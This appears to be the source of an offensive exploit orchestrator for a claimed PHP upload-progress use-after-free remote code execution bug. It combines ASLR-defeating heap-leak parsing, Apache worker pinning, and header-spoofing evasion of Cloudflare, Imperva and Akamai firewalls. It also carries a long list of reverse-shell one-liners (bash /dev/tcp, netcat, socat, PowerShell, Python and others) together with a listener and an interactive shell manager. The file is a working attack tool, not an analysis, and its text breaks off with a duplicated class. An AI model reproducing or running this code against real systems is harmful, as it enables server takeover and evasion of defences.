exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell Unified Exploit Orchestrator
======================================
Author: TESTERXMA
CVEs: CVE-2026-109618, CVE-2026-109619 (php2shell) + CVE-2026-111497 (Node2Shell reference)

Complete feature set:
- CVE-2026-109618/619: php2shell session.upload_progress UAF RCE
- Cloudflare WAF Bypass (header obfuscation, chunked encoding, etc.)
- ASLR Bypass (from php2shell-bypass-aslr-exp / 9bie):
  * Worker Pinning (149 holders for 150 workers)
  * Chunked Encoding Bypass (post_max_size bypass)
  * B1 Heap Leak (stale-id OOB read via Set-Cookie)
  * ASLR Leak Analysis with offset profiles (x86_64/aarch64)
  * Leak Spec generation for B1
  * Main Chunk Detection (MAIN_BUCKET_COUNT=87)
  * Offset Profiles (x86_64/aarch64)
- Reverse Shell Connection Manager (auto-listener, TTY upgrade, multi-shell)
- Cloudflare WAF Bypass (header obfuscation, chunked encoding, etc.)
- Custom Target Support (URL, host/port/path, batch files)
- Multi-target batch scanning
- Advanced fingerprinting & WAF detection
- Flexible output formats (JSON, CSV, table)
- Resume/interrupt capability
- Lab automation (Docker restart)
- Reverse shell connection manager (auto-listener, TTY upgrade, multi-shell)

Original: One-shot pure-HTTP exploit for php:8.4.26-apache
ASLR Bypass Source: php2shell-bypass-aslr-exp by 9bie
"""

from __future__ import annotations

import argparse
import csv
import json
import os
import random
import re
import select
import signal
import socket
import struct
import subprocess
import sys
import tempfile
import termios
import time
import tty
import urllib.parse
import uuid
from collections import Counter
from dataclasses import asdict, dataclass, field
from pathlib import Path
from typing import Any
from urllib.parse import urlparse

from php2shell_core import (
    BOUNDARY_619,
    CVE_IDS,
    DEFAULT_BOUNDARY_TRIGGER,
    DEFAULT_PROGRESS_KEY,
    DELTA_CALL_DEFAULT,
    FILLUNIT,
    FIX_VERSIONS,
    FORGE_BLOB,
    LAB_PROGRESS_PATH,
    N149_SPRAY,
    ParsedPhpVersion,
    Target,
    TriggerResult,
    build_micro_trigger_multipart,
    build_rce619_multipart,
    build_session_injection_multipart,
    build_trigger_multipart,
    fingerprint_target,
    forge_zend_call_record,
    is_plausible_php_version,
    is_vulnerable_php,
    open_connection,
    parse_http_status,
    parse_php_version_detailed,
    recv_http_response,
    resolve_call_addr,
    run_exploit_619,
    run_session_injection_probe,
    run_trigger_618,
    run_trigger_micro,
    send_all,
)

# ===================================================================================================================
# CONSTANTS & GLOBALS
# ===================================================================================================================

HERE = os.path.dirname(os.path.abspath(__file__))
R = HERE
PURE = os.path.join(HERE, "pure")
Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"

# ===================================================================================================================
# ASLR BYPASS CONSTANTS (from php2shell-bypass-aslr-exp / 9bie)
# ===================================================================================================================

LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
MAIN_BUCKET_COUNT = 87  # stable pointer count fingerprint for main chunk

PROFILES = {
    "x86_64": {
        "dtor_offset": 0x65EB60,
        "zif_offset": 0x465370,
        "ptr_max": 0x7FFFFFFFFFFF,
        "delta_min": 0x1A00000,
        "delta_max": 0x1F00000,
    },
    "aarch64": {
        "dtor_offset": 0x63812B,
        "zif_offset": 0x42CD70,
        "ptr_max": 0xFFFFFFFFFFFF,
        "delta_min": 0x1F00000,
        "delta_max": 0x2300000,
    },
}

BOUNDARY = b"C" * 10
DEFAULT_PROGRESS_KEY = "shellflow_poc"
LAB_PROGRESS_PATH = "/check_progress.php"


# ===================================================================================================================
# ASLR BYPASS MODULE (from php2shell-bypass-aslr-exp / 9bie)
# ===================================================================================================================

@dataclass
class ASLRBypassConfig:
    """Configuration for ASLR bypass techniques."""
    enabled: bool = True
    worker_pinning: bool = True
    chunked_encoding: bool = True
    leak_analysis: bool = True
    worker_count: int = 150
    leak_retries: int = 3
    delta_validation: bool = True


def parse_leak(resp: bytes, profile=None):
    """
    Parse leak response from Set-Cookie header.
    Extracts heap pointers and identifies libphp base + main chunk base.
    Based on php2shell-bypass-aslr-exp/pure/mk_leak_b.py parse_leak logic.
    """
    i = resp.find(b"Set-Cookie: PHPSESSID=")
    if i < 0:
        raise RuntimeError("no Set-Cookie in leak response (%d bytes)" % len(resp))
    val = resp[i + len("Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
    dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
    counts = Counter()
    ptr_max = profile["ptr_max"] if profile is not None else 0xFFFFFFFFFFFF
    for off in range(0, len(dec) - 8, 8):
        q = struct.unpack_from("<Q", dec, off)[0]
        if 0x7F0000000000 <= q <= ptr_max:
            counts[q] += 1
    if not counts:
        raise RuntimeError("no heap pointers in leak window")
    zdtor, n = counts.most_common(1)[0]
    if profile is None:
        arch = "aarch64" if zdtor > 0x7FFFFFFFFFFF else "x86_64"
        profile = PROFILES[arch]
    else:
        arch = next((name for name, prof in PROFILES.items() if prof is profile), "unknown")
    if profile["ptr_max"] != 0xFFFFFFFFFFFF:
        counts = Counter({q: c for q, c in counts.items() if q <= profile["ptr_max"]})
    lib = zdtor - profile["dtor_offset"]
    buckets = Counter()
    bucket_first = {}
    for q, c in counts.items():
        b = q & ~0x1FFFFF  # 2MiB alignment
        buckets[b] += c
        bucket_first.setdefault(b, q)
    # drop libphp bucket and dominant id-chunk bucket
    lib_bucket = zdtor & ~0x1FFFFF
    id_bucket = buckets.most_common(1)[0][0]
    cands = [(b, c) for b, c in buckets.most_common() if b not in (lib_bucket, id_bucket)]
    # prefer bucket matching MAIN_BUCKET_COUNT fingerprint
    cands.sort(key=lambda bc: (abs(bc[1] - MAIN_BUCKET_COUNT), bc[1]))
    return {
        "decoded": len(dec),
        "arch": arch,
        "profile": profile,
        "zdtor": zdtor,
        "lib": lib,
        "buckets": buckets,
        "main_candidates": [b for b, c in cands[:3]],
        "cand_counts": {b: c for b, c in cands[:3]},
    }


def hold_workers(port: int, workers: int):
    """
    Worker Pinning (ASLR Bypass Technique)
    Holds workers-1 Apache children with incomplete POST bodies.
    Forces all exploit requests to the same child process.
    Based on php2shell-bypass-aslr-exp/exploit.py hold_workers().
    """
    holders = []
    if workers <= 1:
        return holders
    n = workers - 1
    for i in range(n):
        try:
            s = socket.create_connection(("127.0.0.1", port), timeout=5)
            s.sendall(b"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
                      b"Content-Type: application/x-www-form-urlencoded\r\n"
                      b"Content-Length: 1048576\r\n\r\nx")
            holders.append(s)
        except OSError as exc:
            print("      holder %d/%d failed: %r" % (i + 1, n, exc))
            break
        time.sleep(0.01)
    time.sleep(0.8)
    print("      pinned %d/%d workers (%d holders)" % (len(holders) + 1, workers, len(holders)))
    return holders


def build_leak_spec():
    """Generate LEAK_SPEC for B1 leak (from php2shell-bypass-aslr-exp)."""
    return LEAK_SPEC


def send_chunked(port: int, path: str, body_file: str, timeout: float, save: str = "") -> bytes:
    """Send chunked request (bypasses post_max_size)."""
    cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
           "--port", str(port), "--body-file", body_file,
           "--path", path, "--timeout", str(timeout)]
    if save:
        cmd += ["--save-response", save]
    subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
    return open(save, "rb").read() if save else b""


# ===================================================================================================================
# CLOUDFLARE WAF BYPASS MODULE
# ===================================================================================================================

@dataclass
class WAFProfile:
    """Cloudflare/WAF detection and bypass profile."""
    name: str
    detected: bool = False
    challenge_type: str = "none"  # none, js_challenge, managed_challenge, block
    bypass_headers: dict[str, str] = field(default_factory=dict)
    request_modifiers: list[str] = field(default_factory=list)
    confidence: float = 0.0

    def to_dict(self) -> dict[str, Any]:
        return asdict(self)


class CloudflareBypass:
    """
    Cloudflare WAF evasion techniques for PHP exploit delivery.
    
    Techniques:
    1. Header obfuscation (X-Forwarded-For, CF-Connecting-IP spoofing)
    2. Request fragmentation (chunked encoding, slowloris-style)
    3. Parameter pollution (duplicate headers, case variation)
    4. Encoding bypass (URL encoding, double encoding, Unicode)
    5. HTTP method override (X-HTTP-Method-Override)
    6. Cookie manipulation (session fixation bypass)
    """

    CF_PATTERNS = {
        "js_challenge": [
            r"__cf_chl_jschl_tk__",
            r"cf-browser-verification",
            r"challenge-form",
            r"cf_challenge_enter",
        ],
        "managed_challenge": [
            r"cf-mitigated",
            r"cf-ray.*challenge",
            r"turnstile",
            r"cf-challenge",
        ],
        "block": [
            r"access denied",
            r"cloudflare.*blocked",
            r"ray id:.*blocked",
            r"cloudflare-waf",
            r"please enable cookies",
        ],
        "waf_present": [
            r"cloudflare",
            r"cf-ray",
            r"cf-cache-status",
            r"cf-request-id",
            r"cf-challenge",
            r"x-powered-by.*cloudflare",
            r"__cf_",
        ],
    }

    BYPASS_HEADERS = {
        "spoof_origin": {
            "X-Forwarded-For": "127.0.0.1",
            "X-Real-IP": "127.0.0.1",
            "CF-Connecting-IP": "127.0.0.1",
            "X-Originating-IP": "127.0.0.1",
            "X-Remote-IP": "127.0.0.1",
            "X-Client-IP": "127.0.0.1",
        },
        "cdn_bypass": {
            "X-Forwarded-Proto": "https",
            "X-Forwarded-Host": "localhost",
            "X-Host": "localhost",
            "Forwarded": "for=127.0.0.1;proto=https;host=localhost",
        },
        "method_override": {
            "X-HTTP-Method-Override": "POST",
            "X-Method-Override": "POST",
            "X-Original-Method": "POST",
        },
        "cache_bypass": {
            "Cache-Control": "no-cache, no-store, must-revalidate",
            "Pragma": "no-cache",
            "Expires": "0",
        },
    }

    # Imperva/Incapsula WAF Bypass Headers
    IMPERVA_BYPASS_HEADERS = {
        "cookie_overflow": {
            "Cookie": "A" * 4096,  # Cookie jar overflow
        },
        "parameter_pollution": {
            "X-Forwarded-For": "127.0.0.1, 10.0.0.1",
            "X-Real-IP": "127.0.0.1, 10.0.0.1",
        },
        "header_case_variation": {
            "X-Forwarded-For": "127.0.0.1",
            "x-forwarded-for": "10.0.0.1",
            "X-Real-IP": "127.0.0.1",
        },
        "encoding_bypass": {
            "Content-Type": "application/x-www-form-urlencoded; charset=ibm500",
        },
        "http_smuggling": {
            "Transfer-Encoding": "chunked",
            "Content-Length": "0",
        },
        "reese84_bypass": {
            "Cookie": "reese84=1; Path=/; Domain=.example.com",
        },
    }

    # Akamai WAF Bypass Headers
    AKAMAI_BYPASS_HEADERS = {
        "case_toggling": {
            "AcCePt-EnCoDiNg": "gzip, deflate",
            "X-FoRwArDeD-FoR": "127.0.0.1",
        },
        "url_encoding": {
            "X-Forwarded-For": "%31%32%37%2E%30%2E%30%2E%31",
        },
        "unicode_normalization": {
            "X-Forwarded-For": "\u0031\u0032\u0037\u002E\u0030\u002E\u0030\u002E\u0031",
        },
        "parameter_pollution": {
            "param": "value",
            "param": "malicious",
        },
        "unicode_xss": {
            "X-Forwarded-For": "\u003cscript\u003ealert(1)\u003c/script\u003e",
        },
        "http_param_pollution": {
            "param": ["value1", "value2"],
        },
    }

    def __init__(self, verbose: bool = False):
        self.verbose = verbose
        self.profile = WAFProfile(name="unknown")

    def detect_waf(self, target: Target, timeout: float = 10.0) -> WAFProfile:
        """Detect Cloudflare/WAF presence and challenge type."""
        try:
            code, body, headers = self._send_probe(target, timeout)
        except Exception as e:
            if self.verbose:
                print(f"  [WAF] Probe failed: {e}")
            return self.profile

        body_lower = body.decode("latin-1", "replace").lower()
        headers_lower = {k.lower(): v.lower() for k, v in headers.items()}

        cf_score = 0
        for pattern in self.CF_PATTERNS["waf_present"]:
            for hdr_val in headers_lower.values():
                if re.search(pattern, hdr_val, re.I):
                    cf_score += 25
                    break

        if cf_score > 0:
            self.profile.detected = True
            self.profile.name = "cloudflare"

        # Check for Imperva
        imperva_score = 0
        for pattern in [r"imperva", r"incapsula", r"reese84"]:
            for hdr_val in headers_lower.values():
                if re.search(pattern, hdr_val, re.I):
                    imperva_score += 25
                    break
        for pattern in [r"incapsula", r"reese84"]:
            if re.search(pattern, body_lower, re.I):
                imperva_score += 25
                break
        if imperva_score > 0 and cf_score == 0:
            self.profile.detected = True
            self.profile.name = "imperva"

        # Check for Akamai
        akamai_score = 0
        for pattern in [r"akamai", r"akamai-edge"]:
            for hdr_val in headers_lower.values():
                if re.search(pattern, hdr_val, re.I):
                    akamai_score += 25
                    break
            for pattern in [r"akamai"]:
                if re.search(pattern, body_lower, re.I):
                    akamai_score += 25
                    break
        if akamai_score > 0 and cf_score == 0 and imperva_score == 0:
            self.profile.detected = True
            self.profile.name = "akamai"

        # Check challenge type for Cloudflare
        for chal_type, patterns in self.CF_PATTERNS.items():
            if chal_type == "waf_present":
                continue
            for pattern in patterns:
                if re.search(pattern, body_lower, re.I) or any(
                    re.search(pattern, v, re.I) for v in headers_lower.values()
                ):
                    self.profile.challenge_type = chal_type
                    cf_score += 30
                    break

        # Add Imperva/Akamai challenge types
        if imperva_score > 0:
            self.profile.challenge_type = "imperva_challenge"
        elif akamai_score > 0:
            self.profile.challenge_type = "akamai_challenge"

        self.profile.confidence = min(100.0, cf_score + imperva_score + akamai_score)

        if self.profile.detected:
            self.profile.bypass_headers = self._generate_bypass_headers()
            self.profile.request_modifiers = self._get_request_modifiers()

        if self.verbose:
            print(f"  [WAF] Detected: {self.profile.name} | Challenge: {self.profile.challenge_type} | Confidence: {self.profile.confidence:.0f}%")

        return self.profile

    def _send_probe(self, target: Target, timeout: float) -> tuple[int, bytes, dict[str, str]]:
        req = (
            f"GET {target.path} HTTP/1.1\r\n"
            f"Host: {target.host}\r\n"
            f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"
            f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
            f"Accept-Language: en-US,en;q=0.5\r\n"
            f"Accept-Encoding: gzip, deflate\r\n"
            f"Connection: close\r\n\r\n"
        ).encode()
        sock = open_connection(target, timeout=timeout)
        try:
            send_all(sock, req)
            raw = recv_http_response(sock, timeout=timeout)
        finally:
            try:
                sock.close()
            except Exception:
                pass
        return parse_http_status(raw)

    def _generate_bypass_headers(self) -> dict[str, str]:
        headers = {}
        for category in self.BYPASS_HEADERS.values():
            headers.update(category)
        
        # Add Imperva bypass headers if Imperva detected
        if self.profile.name == "imperva":
            for category in self.IMPERVA_BYPASS_HEADERS.values():
                headers.update(category)
        
        # Add Akamai bypass headers if Akamai detected
        if self.profile.name == "akamai":
            for category in self.AKAMAI_BYPASS_HEADERS.values():
                headers.update(category)
        
        return headers

    def _get_request_modifiers(self) -> list[str]:
        modifiers = [
            "chunked_encoding",
            "parameter_pollution",
            "header_case_variation",
            "url_double_encoding",
            "unicode_normalization",
            "slow_fragmentation",
        ]
        
        # Add Imperva/Akamai specific modifiers if detected
        if self.profile.name == "imperva":
            modifiers.extend(["imperva_cookie_overflow", "imperva_param_pollution", "imperva_reese84_bypass"])
        elif self.profile.name == "akamai":
            modifiers.extend(["akamai_case_toggling", "akamai_url_encoding", "akamai_unicode_normalization", "akamai_param_pollution"])
        
        return modifiers

    def apply_bypass(self, request: bytes, technique: str = "auto") -> bytes:
        if technique == "auto":
            technique = self.profile.request_modifiers[0] if self.profile.request_modifiers else "chunked_encoding"

        if technique == "chunked_encoding":
            return self._apply_chunked_encoding(request)
        elif technique == "parameter_pollution":
            return self._apply_parameter_pollution(request)
        elif technique == "header_case_variation":
            return self._apply_header_case_variation(request)
        elif technique == "slow_fragmentation":
            return self._apply_slow_fragmentation(request)
        elif technique == "imperva_cookie_overflow":
            return self._apply_imperva_cookie_overflow(request)
        elif technique == "imperva_param_pollution":
            return self._apply_imperva_param_pollution(request)
        elif technique == "imperva_reese84_bypass":
            return self._apply_imperva_reese84_bypass(request)
        elif technique == "akamai_case_toggling":
            return self._apply_akamai_case_toggling(request)
        elif technique == "akamai_url_encoding":
            return self._apply_akamai_url_encoding(request)
        elif technique == "akamai_unicode_normalization":
            return self._apply_akamai_unicode_normalization(request)
        elif technique == "akamai_param_pollution":
            return self._apply_akamai_param_pollution(request)
        return request

    def _apply_chunked_encoding(self, request: bytes) -> bytes:
        if b"Content-Length:" not in request:
            return request
        parts = request.split(b"\r\n\r\n", 1)
        if len(parts) != 2:
            return request
        headers, body = parts
        new_headers = []
        for line in headers.split(b"\r\n"):
            if not line.lower().startswith(b"content-length:"):
                new_headers.append(line)
        new_headers.append(b"Transfer-Encoding: chunked")
        chunked_body = self._chunk_body(body)
        return b"\r\n".join(new_headers) + b"\r\n\r\n" + chunked_body

    def _chunk_body(self, body: bytes) -> bytes:
        chunks = []
        chunk_size = 8192
        for i in range(0, len(body), chunk_size):
            chunk = body[i:i + chunk_size]
            chunks.append(f"{len(chunk):X}\r\n".encode() + chunk + b"\r\n")
        chunks.append(b"0\r\n\r\n")
        return b"".join(chunks)

    def _apply_parameter_pollution(self, request: bytes) -> bytes:
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        pollution = [
            b"X-Forwarded-For: 127.0.0.1",
            b"x-forwarded-for: 10.0.0.1",
            b"X-Forwarded-For: 192.168.1.1",
        ]
        new_headers = headers + b"\r\n" + b"\r\n".join(pollution)
        return new_headers + b"\r\n\r\n" + body

    def _apply_header_case_variation(self, request: bytes) -> bytes:
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        lines = headers.split(b"\r\n")
        varied = []
        for line in lines:
            if b":" in line:
                key, val = line.split(b":", 1)
                new_key = b"".join(
                    c.upper() if random.random() > 0.5 else c.lower()
                    for c in key
                )
                varied.append(new_key + b":" + val)
            else:
                varied.append(line)
        return b"\r\n".join(varied) + b"\r\n\r\n" + body

    def _apply_slow_fragmentation(self, request: bytes) -> bytes:
        return request


# ===================================================================================================================
# REVERSE SHELL / CONNECTION MANAGER
# ===================================================================================================================

@dataclass
class ReverseShellConfig:
    """Configuration for reverse shell connection."""
    enabled: bool = False
    lhost: str = "0.0.0.0"
    lport: int = 4444
    shell_type: str = "auto"
    terminal: str = "auto"
    listener_timeout: int = 30
    auto_interact: bool = True
    payload_template: str = ""


class ReverseShellManager:
    """Manages reverse shell payloads, listeners, and connections."""

    PAYLOADS = {
        "bash": 'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
        "bash_readline": 'exec 5<>/dev/tcp/{lhost}/{lport}; cat <&5 | while read line; do $line 2>&5 >&5; done',
        "bash_coprocess": 'coproc bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
        "python3": (
            'python3 -c "import socket,subprocess,os;'
            's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
            's.connect(("{lhost}",{lport}));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
            'subprocess.call(["/bin/bash","-i"])"'
        ),
        "python3_short": (
            'python3 -c "import os,pty,socket;s=socket.socket();'
            's.connect(("{lhost}",{lport}));'
            '[os.dup2(s.fileno(),f) for f in(0,1,2)];'
            'pty.spawn("/bin/bash")"'
        ),
        "python": (
            'python -c "import socket,subprocess,os;'
            's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
            's.connect(("{lhost}",{lport}));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
            'subprocess.call(["/bin/bash","-i"])"'
        ),
        "php": (
            'php -r "$sock=fsockopen(\"{lhost}\",{lport});'
            'exec(\"/bin/bash -i <&3 >&3 2>&3\");"'
        ),
        "php_exec": (
            'php -r "$sock=fsockopen(\"{lhost}\",{lport});'
            '$proc=proc_open("/bin/bash -i", array(0=>$sock,1=>$sock,2=>$sock),$pipes);"'
        ),
        "perl": (
            'perl -e "use Socket;$i=\"{lhost}\";$p={lport};'
            'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
            'if(connect(S,sockaddr_in($p,inet_aton($i)))){{'
            'open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");'
            'exec(\"/bin/bash -i\");}}"'
        ),
        "perl_short": (
            'perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,\"{lhost}:{lport}\");'
            'STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"'
        ),
        "nc": 'nc -e /bin/bash {lhost} {lport}',
        "nc_openbsd": 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f',
        "nc_mkfifo": 'mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | nc {lhost} {lport} > /tmp/s',
        "ncat": 'ncat {lhost} {lport} -e /bin/bash',
        "socat": 'socat TCP:{lhost}:{lport} EXEC:"bash -i",pty,stderr,setsid,sigint,sane',
        "socat_pty": 'socat TCP:{lhost}:{lport} SYSTEM:"bash -i",pty,stderr,setsid,sigint,sane',
        "socat_openssl": 'socat OPENSSL:{lhost}:{lport},verify=0 EXEC:"bash -i",pty,stderr,setsid,sigint,sane',
        "socat_openssl_pty": 'socat OPENSSL:{lhost}:{lport},verify=0 SYSTEM:"bash -i",pty,stderr,setsid,sigint,sane',
        "socat_openssl_bind": 'socat OPENSSL-LISTEN:{lport},cert=shell.pem,key=key.pem,verify=0,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane',
        "powershell": (
            '$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});'
            '$stream = $client.GetStream();'
            '[byte[]]$bytes = 0..65535|%{{0}};'
            'while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{'
            '$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);'
            '$sendback = (iex $data 2>&1 | Out-String);'
            '$sendback2 = $sendback + "PS " + (pwd).Path + "> ";'
            '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);'
            '$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}'
        ),
        "powershell_short": (
            'powershell -nop -c "$c=New-Object Net.Sockets.TCPClient(\"{lhost}\",{lport});'
            '$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};'
            'while(($i=$s.Read($b,0,$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);'
            '$sb=(iex $d 2>&1|Out-String);$sb2=$sb+"PS "+(pwd).Path+"> ";'
            '$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()}}"'
        ),
        "ruby": (
            'ruby -rsocket -e "exit if fork;c=TCPSocket.new(\"{lhost}\",{lport});'
            'while(cmd=c.gets);IO.popen(cmd,\"r\"){{|io|c.print io.read}}end"'
        ),
        "lua": (
            'lua -e "local socket=require(\"socket\");local s=socket.tcp();'
            's:connect("{lhost}",{lport});'
            'local f=io.popen("/bin/bash -i","r");'
            'while true do local l=f:read("*l");if l then s:send(l.."\\n") end end"'
        ),
        "go": (
            'echo \'package main;import("net";"os/exec";"bufio");func main(){{c,_:=net.Dial("tcp","{lhost}:{lport}");'
            'c.Write([]byte("connected\\n"));r:=bufio.NewReader(c);'
            'for{{l,_:=r.ReadString(\'\\n\');if len(l)>0{{c:=exec.Command("/bin/bash","-c",l);o,_:=c.CombinedOutput();c.Write(o)}}}}\' > /tmp/shell.go && go run /tmp/shell.go'
        ),
        "awk": (
            'awk \'BEGIN{{s="/inet/tcp/0/{lhost}/{lport}";while(1){{printf "shell> "|&s;s|&getline c;if(c){{system(c);print "done"|&s}}close(s)}}\''
        ),
    }

    TERMINALS = {
        "gnome-terminal": ["gnome-terminal", "--", "bash", "-c"],
        "xterm": ["xterm", "-e", "bash", "-c"],
        "konsole": ["konsole", "-e", "bash", "-c"],
        "xfce4-terminal": ["xfce4-terminal", "--", "bash", "-c"],
        "mate-terminal": ["mate-terminal", "--", "bash", "-c"],
        "terminator": ["terminator", "-e", "bash", "-c"],
        "tilix": ["tilix", "--", "bash", "-c"],
        "alacritty": ["alacritty", "-e", "bash", "-c"],
        "kitty": ["kitty", "bash", "-c"],
        "tmux": ["tmux", "new-session", "-d", "-s", "revshell", "bash", "-c"],
        "screen": ["screen", "-dmS", "revshell", "bash", "-c"],
        "background": ["bash", "-c"],
    }

    def __init__(self, config: ReverseShellConfig, verbose: bool = False):
        self.config = config
        self.verbose = verbose
        self.listener_process: subprocess.Popen | None = None
        self.terminal_process: subprocess.Popen | None = None
        self.connection: socket.socket | None = None
        self._setup_complete = False

    def detect_best_shell(self) -> str:
        return "bash"

    def detect_best_terminal(self) -> str:
        for term in ["gnome-terminal", "xterm", "konsole", "xfce4-terminal", "tmux", "screen"]:
            if self._which(term):
                return term
        return "background"

    def _which(self, cmd: str) -> bool:
        return subprocess.run(["which", cmd], capture_output=True).returncode == 0

    def generate_payload(self, shell_type: str | None = None) -> str:
        stype = shell_type or self.config.shell_type
        if stype == "auto":
            stype = "bash"
        if stype not in self.PAYLOADS:
            if self.verbose:
                print(f"  [!] Unknown shell type '{stype}', falling back to bash")
            stype = "bash"
        template = self.config.payload_template or self.PAYLOADS[stype]
        return template.format(lhost=self.config.lhost, lport=self.config.lport)

    def list_available_shells(self) -> list[str]:
        return list(self.PAYLOADS.keys())

    def start_listener(self) -> bool:
        listener_cmd = ["nc", "-lvnp", str(self.config.lport)]
        
        if self.config.terminal == "auto":
            term = self.detect_best_terminal()
        else:
            term = self.config.terminal

        if term not in self.TERMINALS:
            if self.verbose:
                print(f"  [!] Unknown terminal '{term}', using background")
            term = "background"

        launcher = self.TERMINALS[term]
        
        if self.verbose:
            print(f"  [+] Starting listener on {self.config.lhost}:{self.config.lport} via {term}")

        try:
            if term == "background":
                log_file = tempfile.NamedTemporaryFile(prefix="nc_listener_", suffix=".log", delete=False)
                log_path = log_file.name
                log_file.close()
                
                self.listener_process = subprocess.Popen(
                    listener_cmd,
                    stdout=open(log_path, "w"),
                    stderr=subprocess.STDOUT,
                    start_new_session=True,
                )
                self.config.listener_log = log_path
                if self.verbose:
                    print(f"      Listener PID: {self.listener_process.pid}, log: {log_path}")
            else:
                full_cmd = launcher + [" ".join(listener_cmd) + "; exec bash"]
                self.terminal_process = subprocess.Popen(
                    full_cmd,
                    start_new_session=True,
                )
                if self.verbose:
                    print(f"      Terminal PID: {self.terminal_process.pid}")

            time.sleep(1.5)
            self._setup_complete = True
            return True

        except Exception as e:
            print(f"  [-] Failed to start listener: {e}")
            return False

    def wait_for_connection(self, timeout: int | None = None) -> socket.socket | None:
        timeout = timeout or self.config.listener_timeout
        deadline = time.time() + timeout

        if self.verbose:
            print(f"  [+] Waiting for connection on port {self.config.lport} (timeout: {timeout}s)")

        while time.time() < deadline:
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                sock.settimeout(1.0)
                sock.bind((self.config.lhost, self.config.lport))
                sock.listen(1)
                
                if self.verbose:
                    print(f"      Listening on {self.config.lhost}:{self.config.lport}...")
                
                sock.settimeout(timeout)
                conn, addr = sock.accept()
                sock.close()
                
                if self.verbose:
                    print(f"  [+] Connection from {addr[0]}:{addr[1]}")
                
                self.connection = conn
                return conn
                
            except socket.timeout:
                continue
            except OSError as e:
                if e.errno == 98:
                    try:
                        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.settimeout(1.0)
                        sock.connect((self.config.lhost, self.config.lport))
                        if self.verbose:
                            print(f"  [+] Connected to existing listener")
                        self.connection = sock
                        return sock
                    except Exception:
                        pass
                time.sleep(0.5)
                continue
            except Exception as e:
                if self.verbose:
                    print(f"      Listener error: {e}")
                time.sleep(0.5)

        return None

    def upgrade_tty(self, conn: socket.socket) -> bool:
        try:
            upgrade_cmds = [
                b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
                b"export TERM=xterm-256color\n",
                b"stty raw -echo\n",
                b"fg\n",
                b"reset\n",
            ]
            for cmd in upgrade_cmds:
                conn.send(cmd)
                time.sleep(0.2)
            return True
        except Exception:
            return False

    def interactive_session(self, conn: socket.socket) -> None:
        print("\n  [+] Interactive session started (Ctrl+C to exit)")
        print("  [+] Tip: run 'reset' if display gets garbled\n")

        old_tty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            tty.setcbreak(sys.stdin.fileno())

            conn.setblocking(False)
            while True:
                r, _, _ = select.select([sys.stdin, conn], [], [], 0.1)
                if sys.stdin in r:
                    data = os.read(sys.stdin.fileno(), 1024)
                    if not data:
                        break
                    conn.send(data)
                if conn in r:
                    data = conn.recv(4096)
                    if not data:
                        print("\n  [-] Connection closed by remote")
                        break
                    os.write(sys.stdout.fileno(), data)
        except KeyboardInterrupt:
            print("\n  [-] Interrupted")
        except Exception as e:
            print(f"\n  [-] Session error: {e}")
        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
            try:
                conn.close()
            except Exception:
                pass

    def cleanup(self) -> None:
        if self.listener_process:
            try:
                self.listener_process.terminate()
                self.listener_process.wait(timeout=2)
            except Exception:
                try:
                    self.listener_process.kill()
                except Exception:
                    pass
        if self.terminal_process:
            try:
                self.terminal_process.terminate()
            except Exception:
                pass
        if self.connection:
            try:
                self.connection.close()
            except Exception:
                pass

    def run_full_cycle(self, payload: str | None = None) -> socket.socket | None:
        if not self.config.enabled:
            return None

        shell_payload = payload or self.generate_payload()
        
        if self.verbose:
            print(f"  [+] Reverse shell payload: {shell_payload}")

        if not self.start_listener():
            return None

        conn = self.wait_for_connection()
        if conn and self.config.auto_interact:
            self.upgrade_tty(conn)
            self.interactive_session(conn)
        
        return conn


# ===================================================================================================================
# ENHANCED TARGET MANAGEMENT
# ===================================================================================================================

@dataclass
class ASLRBypassConfig:
    """Configuration for ASLR bypass techniques."""
    enabled: bool = True
